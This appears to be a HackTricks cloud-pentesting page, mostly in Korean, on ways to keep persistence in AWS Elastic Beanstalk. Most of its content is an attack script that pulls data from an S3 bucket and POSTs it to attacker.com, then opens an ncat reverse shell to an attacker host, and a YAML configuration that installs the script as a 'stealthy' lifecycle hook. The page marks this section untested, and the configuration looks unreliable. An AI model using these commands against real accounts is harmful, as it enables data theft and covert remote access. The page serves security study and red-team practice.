AWS - Elastic Beanstalk Persistence

Support HackTricks

Elastic Beanstalk

For more information check:

AWS - Elastic Beanstalk Enum

Persistence in Instance

AWS 계정 내에서 지속성을 유지하기 위해, 인스턴스 내부에 지속성 메커니즘(cron job, ssh key 등)을 도입할 수 있습니다. 이를 통해 공격자는 인스턴스에 접근하여 메타데이터 서비스에서 IAM 역할 자격 증명을 탈취할 수 있습니다.

Backdoor in Version

공격자는 S3 저장소 내부의 코드를 백도어로 변경하여 항상 백도어와 예상된 코드를 실행하도록 할 수 있습니다.

New backdoored version

실제 버전의 코드를 변경하는 대신, 공격자는 애플리케이션의 새로운 백도어 버전을 배포할 수 있습니다.

Abusing Custom Resource Lifecycle Hooks

TODO: Test

Elastic Beanstalk는 인스턴스 프로비저닝 및 종료 중에 사용자 정의 스크립트를 실행할 수 있는 라이프사이클 훅을 제공합니다. 공격자는 라이프사이클 훅을 구성하여 주기적으로 데이터를 유출하거나 AWS 계정에 대한 접근을 유지하는 스크립트를 실행할 수 있습니다.

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
HackTricks 지원하기

Last updated